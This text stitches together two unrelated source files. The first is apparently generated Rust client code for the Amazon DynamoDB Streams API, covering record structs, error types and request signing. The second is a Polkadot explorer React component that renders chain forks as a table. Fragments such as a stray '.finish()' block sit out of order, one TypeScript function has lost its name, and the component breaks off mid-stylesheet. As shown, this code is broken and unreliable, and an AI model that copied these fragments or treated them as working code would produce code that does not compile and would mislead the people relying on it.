DynamoDB-specific fields.</p> #[serde(rename = "dynamodb")] #[serde(skip_serializing_if = "Option::is_none")] pub dynamodb: Option<StreamRecord>, /// <p>A globally unique identifier for the event that was recorded in this stream record.</p> #[serde(rename = "eventID")] #[serde(skip_serializing_if = "Option::is_none")] pub event_id: Option<String>, /// <p><p>The type of data modification that was performed on the DynamoDB table:</p> <ul> <li> <p> <code>INSERT</code> - a new item was added to the table.</p> </li> <li> <p> <code>MODIFY</code> - one or more of an existing item&#39;s attributes were modified.</p> </li> <li> <p> <code>REMOVE</code> - the item was deleted from the table</p> </li> </ul></p> #[serde(rename = "eventName")] #[serde(skip_serializing_if = "Option::is_none")] pub event_name: Option<String>, /// <p>The AWS service from which the stream record originated. For DynamoDB Streams, this is <code>aws:dynamodb</code>.</p> #[serde(rename = "eventSource")] #[serde(skip_serializing_if = "Option::is_none")] pub event_source: Option<String>, /// <p>The version number of the stream record format. This number is updated whenever the structure of <code>Record</code> is modified.</p> <p>Client applications must not assume that <code>eventVersion</code> will remain at a particular value, as this number is subject to change at any time. In general, <code>eventVersion</code> will only increase as the low-level DynamoDB Streams API evolves.</p> #[serde(rename = "eventVersion")] #[serde(skip_serializing_if = "Option::is_none")] pub event_version: Option<String>, /// <p><p>Items that are deleted by the Time to Live process after expiration have the following fields: </p> <ul> <li> <p>Records[].userIdentity.type</p> <p>&quot;Service&quot;</p> </li> <li> <p>Records[].userIdentity.principalId</p> <p>&quot;dynamodb.amazonaws.com&quot;</p> </li> </ul></p> #[serde(rename = "userIdentity")] #[serde(skip_serializing_if = "Option::is_none")] pub user_identity: Option<Identity>, } /// <p>The beginning and ending sequence numbers for the stream records contained within a shard.</p> #[derive(Default, Debug, Clone, PartialEq, Deserialize)] #[cfg_attr(any(test, feature = "serialize_structs"), derive(Serialize))] pub struct SequenceNumberRange { /// <p>The last sequence number.</p> #[serde(rename = "EndingSequenceNumber")] #[serde(skip_serializing_if = "Option::is_none")] pub ending_sequence_number: Option<String>, /// <p>The first sequence number.</p> #[serde(rename = "StartingSequenceNumber")] #[serde(skip_serializing_if = "Option::is_none")] pub starting_sequence_number: Option<String>, } /// <p>A uniquely identified group of stream records within a stream.</p> #[derive(Default, Debug, Clone, PartialEq, Deserialize)] #[cfg_attr(any(test, feature = "serialize_structs"), derive(Serialize))] pub struct Shard { /// <p>The shard ID of the current shard's parent.</p> #[serde(rename = "ParentShardId")] #[serde(skip_serializing_if = "Option::is_none")] pub parent_shard_id: Option<String>, /// <p>The range of possible sequence numbers for the shard.</p> #[serde(rename = "SequenceNumberRange")] #[serde(skip_serializing_if = "Option::is_none")] pub sequence_number_range: Option<SequenceNumberRange>, /// <p>The system-generated identifier for this shard.</p> #[serde(rename = "ShardId")] #[serde(skip_serializing_if = "Option::is_none")] pub shard_id: Option<String>, } /// <p>Represents all of the data describing a particular stream.</p> #[derive(Default, Debug, Clone, PartialEq, Deserialize)] #[cfg_attr(any(test, feature = "serialize_structs"), derive(Serialize))] pub struct Stream { /// <p>The Amazon Resource Name (ARN) for the stream.</p> #[serde(rename = "StreamArn")] #[serde(skip_serializing_if = "Option::is_none")] pub stream_arn: Option<String>, /// <p><p>A timestamp, in ISO 8601 format, for this stream.</p> <p>Note that <code>LatestStreamLabel</code> is not a unique identifier for the stream, because it is possible that a stream from another table might have the same timestamp. However, the combination of the following three elements is guaranteed to be unique:</p> <ul> <li> <p>the AWS customer ID.</p> </li> <li> <p>the table name</p> </li> <li> <p>the <code>StreamLabel</code> </p> </li> </ul></p> #[serde(rename = "StreamLabel")] #[serde(skip_serializing_if = "Option::is_none")] pub stream_label: Option<String>, /// <p>The DynamoDB table with which the stream is associated.</p> #[serde(rename = "TableName")] #[serde(skip_serializing_if = "Option::is_none")] pub table_name: Option<String>, } /// <p>Represents all of the data describing a particular stream.</p> #[derive(Default, Debug, Clone, PartialEq, Deserialize)] #[cfg_attr(any(test, feature = "serialize_structs"), derive(Serialize))] pub struct StreamDescription { /// <p>The date and time when the request to create this stream was issued.</p> #[serde(rename = "CreationRequestDateTime")] #[serde(skip_serializing_if = "Option::is_none")] pub creation_request_date_time: Option<f64>, /// <p>The key attribute(s) of the stream's DynamoDB table.</p> #[serde(rename = "KeySchema")] #[serde(skip_serializing_if = "Option::is_none")] pub key_schema: Option<Vec<KeySchemaElement>>, /// <p>The shard ID of the item where the operation stopped, inclusive of the previous result set. Use this value to start a new operation, excluding this value in the new request.</p> <p>If <code>LastEvaluatedShardId</code> is empty, then the "last page" of results has been processed and there is currently no more data to be retrieved.</p> <p>If <code>LastEvaluatedShardId</code> is not empty, it does not necessarily mean that there is more data in the result set. The only way to know when you have reached the end of the result set is when <code>LastEvaluatedShardId</code> is empty.</p> #[serde(rename = "LastEvaluatedShardId")] #[serde(skip_serializing_if = "Option::is_none")] pub last_evaluated_shard_id: Option<String>, /// <p>The shards that comprise the stream.</p> #[serde(rename = "Shards")] #[serde(skip_serializing_if = "Option::is_none")] pub shards: Option<Vec<Shard>>, /// <p>The Amazon Resource Name (ARN) for the stream.</p> #[serde(rename = "StreamArn")] #[serde(skip_serializing_if = "Option::is_none")] pub stream_arn: Option<String>, /// <p><p>A timestamp, in ISO 8601 format, for this stream.</p> <p>Note that <code>LatestStreamLabel</code> is not a unique identifier for the stream, because it is possible that a stream from another table might have the same timestamp. However, the combination of the following three elements is guaranteed to be unique:</p> <ul> <li> <p>the AWS customer ID.</p> </li> <li> <p>the table name</p> </li> <li> <p>the <code>StreamLabel</code> </p> </li> </ul></p> #[serde(rename = "StreamLabel")] #[serde(skip_serializing_if = "Option::is_none")] pub stream_label: Option<String>, /// <p><p>Indicates the current status of the stream:</p> <ul> <li> <p> <code>ENABLING</code> - Streams is currently being enabled on the DynamoDB table.</p> </li> <li> <p> <code>ENABLED</code> - the stream is enabled.</p> </li> <li> <p> <code>DISABLING</code> - Streams is currently being disabled on the DynamoDB table.</p> </li> <li> <p> <code>DISABLED</code> - the stream is disabled.</p> </li> </ul></p> #[serde(rename = "StreamStatus")] #[serde(skip_serializing_if = "Option::is_none")] pub stream_status: Option<String>, /// <p><p>Indicates the format of the records within this stream:</p> <ul> <li> <p> <code>KEYS<em>ONLY</code> - only the key attributes of items that were modified in the DynamoDB table.</p> </li> <li> <p> <code>NEW</em>IMAGE</code> - entire items from the table, as they appeared after they were modified.</p> </li> <li> <p> <code>OLD<em>IMAGE</code> - entire items from the table, as they appeared before they were modified.</p> </li> <li> <p> <code>NEW</em>AND<em>OLD</em>IMAGES</code> - both the new and the old images of the items from the table.</p> </li> </ul></p> #[serde(rename = "StreamViewType")] #[serde(skip_serializing_if = "Option::is_none")] pub stream_view_type: Option<String>, /// <p>The DynamoDB table with which the stream is associated.</p> #[serde(rename = "TableName")] #[serde(skip_serializing_if = "Option::is_none")] pub table_name: Option<String>, } /// <p>A description of a single data modification that was performed on an item in a DynamoDB table.</p> #[derive(Default, Debug, Clone, PartialEq, Deserialize)] #[cfg_attr(any(test, feature = "serialize_structs"), derive(Serialize))] pub struct StreamRecord { /// <p>The approximate date and time when the stream record was created, in <a href="http://www.epochconverter.com/">UNIX epoch time</a> format.</p> #[serde(rename = "ApproximateCreationDateTime")] #[serde(skip_serializing_if = "Option::is_none")] pub approximate_creation_date_time: Option<f64>, /// <p>The primary key attribute(s) for the DynamoDB item that was modified.</p> #[serde(rename = "Keys")] #[serde(skip_serializing_if = "Option::is_none")] pub keys: Option<::std::collections::HashMap<String, AttributeValue>>, /// <p>The item in the DynamoDB table as it appeared after it was modified.</p> #[serde(rename = "NewImage")] #[serde(skip_serializing_if = "Option::is_none")] pub new_image: Option<::std::collections::HashMap<String, AttributeValue>>, /// <p>The item in the DynamoDB table as it appeared before it was modified.</p> #[serde(rename = "OldImage")] #[serde(skip_serializing_if = "Option::is_none")] pub old_image: Option<::std::collections::HashMap<String, AttributeValue>>, /// <p>The sequence number of the stream record.</p> #[serde(rename = "SequenceNumber")] #[serde(skip_serializing_if = "Option::is_none")] pub sequence_number: Option<String>, /// <p>The size of the stream record, in bytes.</p> #[serde(rename = "SizeBytes")] #[serde(skip_serializing_if = "Option::is_none")] pub size_bytes: Option<i64>, /// <p><p>The type of data from the modified DynamoDB item that was captured in this stream record:</p> <ul> <li> <p> <code>KEYS<em>ONLY</code> - only the key attributes of the modified item.</p> </li> <li> <p> <code>NEW</em>IMAGE</code> - the entire item, as it appeared after it was modified.</p> </li> <li> <p> <code>OLD<em>IMAGE</code> - the entire item, as it appeared before it was modified.</p> </li> <li> <p> <code>NEW</em>AND<em>OLD</em>IMAGES</code> - both the new and the old item images of the item.</p> </li> </ul></p> #[serde(rename = "StreamViewType")] #[serde(skip_serializing_if = "Option::is_none")] pub stream_view_type: Option<String>, } /// Errors returned by DescribeStream #[derive(Debug, PartialEq)] pub enum DescribeStreamError { /// <p>An error occurred on the server side.</p> InternalServerError(String), /// <p>The operation tried to access a nonexistent stream.</p> ResourceNotFound(String), } impl DescribeStreamError { pub fn from_response(res: BufferedHttpResponse) -> RusotoError<DescribeStreamError> { if let Some(err) = proto::json::Error::parse(&res) { match err.typ.as_str() { "InternalServerError" => { return RusotoError::Service(DescribeStreamError::InternalServerError(err.msg)) } "ResourceNotFoundException" => { return RusotoError::Service(DescribeStreamError::ResourceNotFound(err.msg)) } "ValidationException" => return RusotoError::Validation(err.msg), _ => {} } } return RusotoError::Unknown(res); } } impl fmt::Display for DescribeStreamError { fn fmt(&self, f: &mut fmt::Formatter) -> fmt::Result { match *self { DescribeStreamError::InternalServerError(ref cause) => write!(f, "{}", cause), DescribeStreamError::ResourceNotFound(ref cause) => write!(f, "{}", cause), } } } impl Error for DescribeStreamError {} /// Errors returned by GetRecords #[derive(Debug, PartialEq)] pub enum GetRecordsError { /// <p>The shard iterator has expired and can no longer be used to retrieve stream records. A shard iterator expires 15 minutes after it is retrieved using the <code>GetShardIterator</code> action.</p> ExpiredIterator(String), /// <p>An error occurred on the server side.</p> InternalServerError(String), /// <p>Your request rate is too high. The AWS SDKs for DynamoDB automatically retry requests that receive this exception. Your request is eventually successful, unless your retry queue is too large to finish. Reduce the frequency of requests and use exponential backoff. For more information, go to <a href="http://docs.aws.amazon.com/amazondynamodb/latest/developerguide/ErrorHandling.html#APIRetries">Error Retries and Exponential Backoff</a> in the <i>Amazon DynamoDB Developer Guide</i>.</p> LimitExceeded(String), /// <p>The operation tried to access a nonexistent stream.</p> ResourceNotFound(String), /// <p><p>The operation attempted to read past the oldest stream record in a shard.</p> <p>In DynamoDB Streams, there is a 24 hour limit on data retention. Stream records whose age exceeds this limit are subject to removal (trimming) from the stream. You might receive a TrimmedDataAccessException if:</p> <ul> <li><p>You request a shard iterator with a sequence number older than the trim point (24 hours).</p> </li> <li><p>You obtain a shard iterator, but before you use the iterator in a <code>GetRecords</code> request, a stream record in the shard exceeds the 24 hour period and is trimmed. This causes the iterator to access a record that no longer exists.</p> </li> </ul></p> TrimmedDataAccess(String), } impl GetRecordsError { pub fn from_response(res: BufferedHttpResponse) -> RusotoError<GetRecordsError> { if let Some(err) = proto::json::Error::parse(&res) { match err.typ.as_str() { "ExpiredIteratorException" => { return RusotoError::Service(GetRecordsError::ExpiredIterator(err.msg)) } "InternalServerError" => { return RusotoError::Service(GetRecordsError::InternalServerError(err.msg)) } "LimitExceededException" => { return RusotoError::Service(GetRecordsError::LimitExceeded(err.msg)) } "ResourceNotFoundException" => { return RusotoError::Service(GetRecordsError::ResourceNotFound(err.msg)) } "TrimmedDataAccessException" => { return RusotoError::Service(GetRecordsError::TrimmedDataAccess(err.msg)) } "ValidationException" => return RusotoError::Validation(err.msg), _ => {} } } return RusotoError::Unknown(res); } } impl fmt::Display for GetRecordsError { fn fmt(&self, f: &mut fmt::Formatter) -> fmt::Result { match *self { GetRecordsError::ExpiredIterator(ref cause) => write!(f, "{}", cause), GetRecordsError::InternalServerError(ref cause) => write!(f, "{}", cause), GetRecordsError::LimitExceeded(ref cause) => write!(f, "{}", cause), GetRecordsError::ResourceNotFound(ref cause) => write!(f, "{}", cause), GetRecordsError::TrimmedDataAccess(ref cause) => write!(f, "{}", cause), } } } impl Error for GetRecordsError {} /// Errors returned by GetShardIterator #[derive(Debug, PartialEq)] pub enum GetShardIteratorError { /// <p>An error occurred on the server side.</p> InternalServerError(String), /// <p>The operation tried to access a nonexistent stream.</p> ResourceNotFound(String), /// <p><p>The operation attempted to read past the oldest stream record in a shard.</p> <p>In DynamoDB Streams, there is a 24 hour limit on data retention. Stream records whose age exceeds this limit are subject to removal (trimming) from the stream. You might receive a TrimmedDataAccessException if:</p> <ul> <li><p>You request a shard iterator with a sequence number older than the trim point (24 hours).</p> </li> <li><p>You obtain a shard iterator, but before you use the iterator in a <code>GetRecords</code> request, a stream record in the shard exceeds the 24 hour period and is trimmed. This causes the iterator to access a record that no longer exists.</p> </li> </ul></p> TrimmedDataAccess(String), } impl GetShardIteratorError { pub fn from_response(res: BufferedHttpResponse) -> RusotoError<GetShardIteratorError> { if let Some(err) = proto::json::Error::parse(&res) { match err.typ.as_str() { "InternalServerError" => { return RusotoError::Service(GetShardIteratorError::InternalServerError( err.msg, )) } "ResourceNotFoundException" => { return RusotoError::Service(GetShardIteratorError::ResourceNotFound(err.msg)) } "TrimmedDataAccessException" => { return RusotoError::Service(GetShardIteratorError::TrimmedDataAccess(err.msg)) } "ValidationException" => return RusotoError::Validation(err.msg), _ => {} } } return RusotoError::Unknown(res); } } impl fmt::Display for GetShardIteratorError { fn fmt(&self, f: &mut fmt::Formatter) -> fmt::Result { match *self { GetShardIteratorError::InternalServerError(ref cause) => write!(f, "{}", cause), GetShardIteratorError::ResourceNotFound(ref cause) => write!(f, "{}", cause), GetShardIteratorError::TrimmedDataAccess(ref cause) => write!(f, "{}", cause), } } } impl Error for GetShardIteratorError {} /// Errors returned by ListStreams #[derive(Debug, PartialEq)] pub enum ListStreamsError { /// <p>An error occurred on the server side.</p> InternalServerError(String), /// <p>The operation tried to access a nonexistent stream.</p> ResourceNotFound(String), } impl ListStreamsError { pub fn from_response(res: BufferedHttpResponse) -> RusotoError<ListStreamsError> { if let Some(err) = proto::json::Error::parse(&res) { match err.typ.as_str() { "InternalServerError" => { return RusotoError::Service(ListStreamsError::InternalServerError(err.msg)) } "ResourceNotFoundException" => { return RusotoError::Service(ListStreamsError::ResourceNotFound(err.msg)) } "ValidationException" => return RusotoError::Validation(err.msg), _ => {} } } return RusotoError::Unknown(res); } } impl fmt::Display for ListStreamsError { fn fmt(&self, f: &mut fmt::Formatter) -> fmt::Result { match *self { ListStreamsError::InternalServerError(ref cause) => write!(f, "{}", cause), ListStreamsError::ResourceNotFound(ref cause) => write!(f, "{}", cause), } } } impl Error for ListStreamsError {} /// Trait representing the capabilities of the Amazon DynamoDB Streams API. Amazon DynamoDB Streams clients implement this trait. pub trait DynamoDbStreams { /// <p>Returns information about a stream, including the current status of the stream, its Amazon Resource Name (ARN), the composition of its shards, and its corresponding DynamoDB table.</p> <note> <p>You can call <code>DescribeStream</code> at a maximum rate of 10 times per second.</p> </note> <p>Each shard in the stream has a <code>SequenceNumberRange</code> associated with it. If the <code>SequenceNumberRange</code> has a <code>StartingSequenceNumber</code> but no <code>EndingSequenceNumber</code>, then the shard is still open (able to receive more stream records). If both <code>StartingSequenceNumber</code> and <code>EndingSequenceNumber</code> are present, then that shard is closed and can no longer receive more data.</p> fn describe_stream( &self, input: DescribeStreamInput, ) -> RusotoFuture<DescribeStreamOutput, DescribeStreamError>; /// <p><p>Retrieves the stream records from a given shard.</p> <p>Specify a shard iterator using the <code>ShardIterator</code> parameter. The shard iterator specifies the position in the shard from which you want to start reading stream records sequentially. If there are no stream records available in the portion of the shard that the iterator points to, <code>GetRecords</code> returns an empty list. Note that it might take multiple calls to get to a portion of the shard that contains stream records.</p> <note> <p> <code>GetRecords</code> can retrieve a maximum of 1 MB of data or 1000 stream records, whichever comes first.</p> </note></p> fn get_records( &self, input: GetRecordsInput, ) -> RusotoFuture<GetRecordsOutput, GetRecordsError>; /// <p><p>Returns a shard iterator. A shard iterator provides information about how to retrieve the stream records from within a shard. Use the shard iterator in a subsequent <code>GetRecords</code> request to read the stream records from the shard.</p> <note> <p>A shard iterator expires 15 minutes after it is returned to the requester.</p> </note></p> fn get_shard_iterator( &self, input: GetShardIteratorInput, ) -> RusotoFuture<GetShardIteratorOutput, GetShardIteratorError>; /// <p><p>Returns an array of stream ARNs associated with the current account and endpoint. If the <code>TableName</code> parameter is present, then <code>ListStreams</code> will return only the streams ARNs for that table.</p> <note> <p>You can call <code>ListStreams</code> at a maximum rate of 5 times per second.</p> </note></p> fn list_streams( &self, input: ListStreamsInput, ) -> RusotoFuture<ListStreamsOutput, ListStreamsError>; } /// A client for the Amazon DynamoDB Streams API. #[derive(Clone)] pub struct DynamoDbStreamsClient { client: Client, region: region::Region, } impl DynamoDbStreamsClient { /// Creates a client backed by the default tokio event loop. /// /// The client will use the default credentials provider and tls client. pub fn new(region: region::Region) -> DynamoDbStreamsClient { Self::new_with_client(Client::shared(), region) } pub fn new_with<P, D>( request_dispatcher: D, credentials_provider: P, region: region::Region, ) -> DynamoDbStreamsClient where P: ProvideAwsCredentials + Send + Sync + 'static, P::Future: Send, D: DispatchSignedRequest + Send + Sync + 'static, D::Future: Send, { Self::new_with_client( Client::new_with(credentials_provider, request_dispatcher), region, ) } pub fn new_with_client(client: Client, region: region::Region) -> DynamoDbStreamsClient { DynamoDbStreamsClient { client, region } } }
.finish() } } impl DynamoDbStreams for DynamoDbStreamsClient { /// <p>Returns information about a stream, including the current status of the stream, its Amazon Resource Name (ARN), the composition of its shards, and its corresponding DynamoDB table.</p> <note> <p>You can call <code>DescribeStream</code> at a maximum rate of 10 times per second.</p> </note> <p>Each shard in the stream has a <code>SequenceNumberRange</code> associated with it. If the <code>SequenceNumberRange</code> has a <code>StartingSequenceNumber</code> but no <code>EndingSequenceNumber</code>, then the shard is still open (able to receive more stream records). If both <code>StartingSequenceNumber</code> and <code>EndingSequenceNumber</code> are present, then that shard is closed and can no longer receive more data.</p> fn describe_stream( &self, input: DescribeStreamInput, ) -> RusotoFuture<DescribeStreamOutput, DescribeStreamError> { let mut request = SignedRequest::new("POST", "dynamodb", &self.region, "/"); request.set_endpoint_prefix("streams.dynamodb".to_string()); request.set_content_type("application/x-amz-json-1.0".to_owned()); request.add_header("x-amz-target", "DynamoDBStreams_20120810.DescribeStream"); let encoded = serde_json::to_string(&input).unwrap(); request.set_payload(Some(encoded)); self.client.sign_and_dispatch(request, |response| { if response.status.is_success() { Box::new(response.buffer().from_err().and_then(|response| { proto::json::ResponsePayload::new(&response) .deserialize::<DescribeStreamOutput, _>() })) } else { Box::new( response .buffer() .from_err() .and_then(|response| Err(DescribeStreamError::from_response(response))), ) } }) } /// <p><p>Retrieves the stream records from a given shard.</p> <p>Specify a shard iterator using the <code>ShardIterator</code> parameter. The shard iterator specifies the position in the shard from which you want to start reading stream records sequentially. If there are no stream records available in the portion of the shard that the iterator points to, <code>GetRecords</code> returns an empty list. Note that it might take multiple calls to get to a portion of the shard that contains stream records.</p> <note> <p> <code>GetRecords</code> can retrieve a maximum of 1 MB of data or 1000 stream records, whichever comes first.</p> </note></p> fn get_records( &self, input: GetRecordsInput, ) -> RusotoFuture<GetRecordsOutput, GetRecordsError> { let mut request = SignedRequest::new("POST", "dynamodb", &self.region, "/"); request.set_endpoint_prefix("streams.dynamodb".to_string()); request.set_content_type("application/x-amz-json-1.0".to_owned()); request.add_header("x-amz-target", "DynamoDBStreams_20120810.GetRecords"); let encoded = serde_json::to_string(&input).unwrap(); request.set_payload(Some(encoded)); self.client.sign_and_dispatch(request, |response| { if response.status.is_success() { Box::new(response.buffer().from_err().and_then(|response| { proto::json::ResponsePayload::new(&response) .deserialize::<GetRecordsOutput, _>() })) } else { Box::new( response .buffer() .from_err() .and_then(|response| Err(GetRecordsError::from_response(response))), ) } }) } /// <p><p>Returns a shard iterator. A shard iterator provides information about how to retrieve the stream records from within a shard. Use the shard iterator in a subsequent <code>GetRecords</code> request to read the stream records from the shard.</p> <note> <p>A shard iterator expires 15 minutes after it is returned to the requester.</p> </note></p> fn get_shard_iterator( &self, input: GetShardIteratorInput, ) -> RusotoFuture<GetShardIteratorOutput, GetShardIteratorError> { let mut request = SignedRequest::new("POST", "dynamodb", &self.region, "/"); request.set_endpoint_prefix("streams.dynamodb".to_string()); request.set_content_type("application/x-amz-json-1.0".to_owned()); request.add_header("x-amz-target", "DynamoDBStreams_20120810.GetShardIterator"); let encoded = serde_json::to_string(&input).unwrap(); request.set_payload(Some(encoded)); self.client.sign_and_dispatch(request, |response| { if response.status.is_success() { Box::new(response.buffer().from_err().and_then(|response| { proto::json::ResponsePayload::new(&response) .deserialize::<GetShardIteratorOutput, _>() })) } else { Box::new( response .buffer() .from_err() .and_then(|response| Err(GetShardIteratorError::from_response(response))), ) } }) } /// <p><p>Returns an array of stream ARNs associated with the current account and endpoint. If the <code>TableName</code> parameter is present, then <code>ListStreams</code> will return only the streams ARNs for that table.</p> <note> <p>You can call <code>ListStreams</code> at a maximum rate of 5 times per second.</p> </note></p> fn list_streams( &self, input: ListStreamsInput, ) -> RusotoFuture<ListStreamsOutput, ListStreamsError> { let mut request = SignedRequest::new("POST", "dynamodb", &self.region, "/"); request.set_endpoint_prefix("streams.dynamodb".to_string()); request.set_content_type("application/x-amz-json-1.0".to_owned()); request.add_header("x-amz-target", "DynamoDBStreams_20120810.ListStreams"); let encoded = serde_json::to_string(&input).unwrap(); request.set_payload(Some(encoded)); self.client.sign_and_dispatch(request, |response| { if response.status.is_success() { Box::new(response.buffer().from_err().and_then(|response| { proto::json::ResponsePayload::new(&response) .deserialize::<ListStreamsOutput, _>() })) } else { Box::new( response .buffer() .from_err() .and_then(|response| Err(ListStreamsError::from_response(response))), ) } }) } }
impl fmt::Debug for DynamoDbStreamsClient { fn fmt(&self, f: &mut fmt::Formatter<'_>) -> fmt::Result { f.debug_struct("DynamoDbStreamsClient") .field("region", &self.region)
Forks.tsx
/* eslint-disable @typescript-eslint/camelcase */ // Copyright 2017-2019 @polkadot/app-explorer authors & contributors // This software may be modified and distributed under the terms // of the Apache-2.0 license. See the LICENSE file for details. import { ApiProps } from '@polkadot/react-api/types'; import { I18nProps } from '@polkadot/react-components/types'; import { Header } from '@polkadot/types/interfaces'; import React, { useEffect, useRef, useState } from 'react'; import styled from 'styled-components'; import { CardSummary, IdentityIcon, SummaryBox } from '@polkadot/react-components'; import { useApi } from '@polkadot/react-hooks'; import { formatNumber } from '@polkadot/util'; import translate from './translate'; interface LinkHeader { author: string | null; bn: string; hash: string; height: number; isEmpty: boolean; isFinalized: boolean; parent: string; width: number; } // eslint-disable-next-line @typescript-eslint/no-empty-interface interface LinkArray extends Array<Link> {} interface Link { arr: LinkArray; hdr: LinkHeader; } interface Props extends ApiProps, I18nProps { className?: string; finHead?: Header; newHead?: Header; } type UnsubFn = () => void; interface Col { author: string | null; hash: string; isEmpty: boolean; isFinalized: boolean; parent: string; width: number; } interface Row { bn: string; cols: Col[]; } // adjust the number of columns in a cell based on the children and tree depth function
(children: LinkArray): number { return Math.max(1, children.reduce((total, { hdr: { width } }): number => { return total + width; }, 0)); } // counts the height of a specific node function calcHeight (children: LinkArray): number { return children.reduce((max, { hdr, arr }): number => { hdr.height = hdr.isEmpty ? 0 : 1 + calcHeight(arr); return Math.max(max, hdr.height); }, 0); } // a single column in a row, it just has the details for the entry function createCol ({ hdr: { author, hash, isEmpty, isFinalized, parent, width } }: Link): Col { return { author, hash, isEmpty, isFinalized, parent, width }; } // create a simplified structure that allows for easy rendering function createRows (arr: LinkArray): Row[] { if (!arr.length) { return []; } return createRows( arr.reduce((children: LinkArray, { arr }: Link): LinkArray => children.concat(...arr), []) ).concat({ bn: arr.reduce((result, { hdr: { bn } }): string => result || bn, ''), cols: arr.map(createCol) }); } // fills in a header based on the supplied data function createHdr (bn: string, hash: string, parent: string, author: string | null, isEmpty = false): LinkHeader { return { author, bn, hash, height: 0, isEmpty, isFinalized: false, parent, width: 0 }; } // empty link helper function createLink (): Link { return { arr: [], hdr: createHdr('', ' ', ' ', null, true) }; } // even out the columns, i.e. add empty spacers as applicable to get tree rendering right function addColumnSpacers (arr: LinkArray): void { // check is any of the children has a non-empty set const hasChildren = arr.some(({ arr }): boolean => arr.length !== 0); if (hasChildren) { // ok, non-empty found - iterate through an add at least an empty cell to all arr .filter(({ arr }): boolean => arr.length === 0) .forEach(({ arr }): number => arr.push(createLink())); const newArr = arr.reduce((flat: LinkArray, { arr }): LinkArray => flat.concat(...arr), []); // go one level deeper, ensure that the full tree has empty spacers addColumnSpacers(newArr); } } // checks to see if a row has a single non-empty entry, i.e. it is a candidate for collapsing function isSingleRow (cols: Col[]): boolean { if (!cols[0] || cols[0].isEmpty) { return false; } return cols.reduce((result: boolean, col, index): boolean => { return index === 0 ? result : (!col.isEmpty ? false : result); }, true); } function renderCol ({ author, hash, isEmpty, isFinalized, parent, width }: Col, index: number): React.ReactNode { return ( <td className={`header ${isEmpty && 'isEmpty'} ${isFinalized && 'isFinalized'}`} colSpan={width} key={`${hash}:${index}:${width}`} > {isEmpty ? <div className='empty' /> : ( <> {author && ( <IdentityIcon className='author' size={28} value={author} /> )} <div className='contents'> <div className='hash'>{hash}</div> <div className='parent'>{parent}</div> </div> </> ) } </td> ); } // render the rows created by createRows to React nodes function renderRows (rows: Row[]): React.ReactNode[] { const lastIndex = rows.length - 1; let isPrevShort = false; return rows.map(({ bn, cols }, index): React.ReactNode => { // if not first, not last and single only, see if we can collapse if (index !== 0 && index !== lastIndex && isSingleRow(cols)) { if (isPrevShort) { // previous one was already a link, this one as well - skip it return null; } else if (isSingleRow(rows[index - 1].cols)) { isPrevShort = true; return ( <tr key={bn}> <td key='blockNumber' /> <td className='header isLink' colSpan={cols[0].width}> <div className='link'>&#8942;</div> </td> </tr> ); } } isPrevShort = false; return ( <tr key={bn}> <td key='blockNumber'>{`#${bn}`}</td> {cols.map(renderCol)} </tr> ); }); } function Forks ({ className, t }: Props): React.ReactElement<Props> | null { const { api } = useApi(); const [tree, setTree] = useState<Link | null>(null); const childrenRef = useRef<Map<string, string[]>>(new Map([['root', []]])); const countRef = useRef({ numBlocks: 0, numForks: 0 }); const headersRef = useRef<Map<string, LinkHeader>>(new Map()); const firstNumRef = useRef(''); const _finalize = (hash: string): void => { const hdr = headersRef.current.get(hash); if (hdr && !hdr.isFinalized) { hdr.isFinalized = true; _finalize(hdr.parent); } }; // adds children for a specific header, retrieving based on matching parent const _addChildren = (base: LinkHeader, children: LinkArray): LinkArray => { const hdrs = (childrenRef.current.get(base.hash) || []) .map((hash): LinkHeader | null => headersRef.current.get(hash) || null) .filter((hdr): boolean => !!hdr) as LinkHeader[]; hdrs.forEach((hdr): void => { children.push({ arr: _addChildren(hdr, []), hdr }); }); // caclulate the max height/width for this entry base.height = calcHeight(children); base.width = calcWidth(children); // place the active (larger, finalized) columns first for the pyramid display children.sort((a, b): number => { if (a.hdr.width > b.hdr.width || a.hdr.height > b.hdr.height || a.hdr.isFinalized) { return -1; } else if (a.hdr.width < b.hdr.width || a.hdr.height < b.hdr.height || b.hdr.isFinalized) { return 1; } return 0; }); return children; }; // create a tree list from the available headers const _generateTree = (): Link => { const root = createLink(); // add all the root entries first, we iterate from these // We add the root entry explicitly, it exists as per init (childrenRef.current.get('root') as string[]).forEach((hash): void => { const hdr = headersRef.current.get(hash); // if this fails, well, we have a bigger issue :( if (hdr) { root.arr.push({ arr: [], hdr: { ...hdr } }); } }); // iterate through, adding the children for each of the root nodes root.arr.forEach(({ arr, hdr }): void => { _addChildren(hdr, arr); }); // align the columns with empty spacers - this aids in display addColumnSpacers(root.arr); root.hdr.height = calcHeight(root.arr); root.hdr.width = calcWidth(root.arr); return root; }; useEffect((): () => void => { let _subFinHead: UnsubFn | null = null; let _subNewHead: UnsubFn | null = null; // callback when finalized const _newFinalized = (header: Header): void => { _finalize(header.hash.toHex()); }; // callback for the subscribe headers sub const _newHeader = (header: Header): void => { // formatted block info const bn = formatNumber(header.number); const hash = header.hash.toHex(); const parent = header.parentHash.toHex(); let isFork = false; // if this the first one? if (!firstNumRef.current) { firstNumRef.current = bn; } if (!headersRef.current.has(hash)) { // if this is the first, add to the root entry if (firstNumRef.current === bn) { (childrenRef.current.get('root') as any[]).push(hash); } // add to the header map // also for HeaderExtended header.author ? header.author.toString() : null headersRef.current.set(hash, createHdr(bn, hash, parent, null)); // check to see if the children already has a entry if (childrenRef.current.has(parent)) { isFork = true; (childrenRef.current.get(parent) as any[]).push(hash); } else { childrenRef.current.set(parent, [hash]); } // if we don't have the parent of this one, retrieve it if (!headersRef.current.has(parent)) { // just make sure we are not first in the list, we don't want to full chain if (firstNumRef.current !== bn) { console.warn(`Retrieving missing header ${header.parentHash.toHex()}`); api.rpc.chain.getHeader(header.parentHash).then(_newHeader); // catch the refresh on the result return; } } // update our counters countRef.current.numBlocks++; if (isFork) { countRef.current.numForks++; } // do the magic, extract the info into something useful and add to state setTree(_generateTree()); } }; (async (): Promise<void> => { _subFinHead = await api.rpc.chain.subscribeFinalizedHeads(_newFinalized); _subNewHead = await api.rpc.chain.subscribeNewHeads(_newHeader); })(); return (): void => { _subFinHead && _subFinHead(); _subNewHead && _subNewHead(); }; }, []); if (!tree) { return null; } return ( <div className={className}> <SummaryBox> <section> <CardSummary label={t('blocks')}>{formatNumber(countRef.current.numBlocks)}</CardSummary> <CardSummary label={t('forks')}>{formatNumber(countRef.current.numForks)}</CardSummary> </section> </SummaryBox> <table> <tbody> {renderRows(createRows(tree.arr))} </tbody> </table> </div> ); } export default translate( styled(Forks)` margin-bottom: 1.5rem; table { border-collapse: separate; border-spacing: 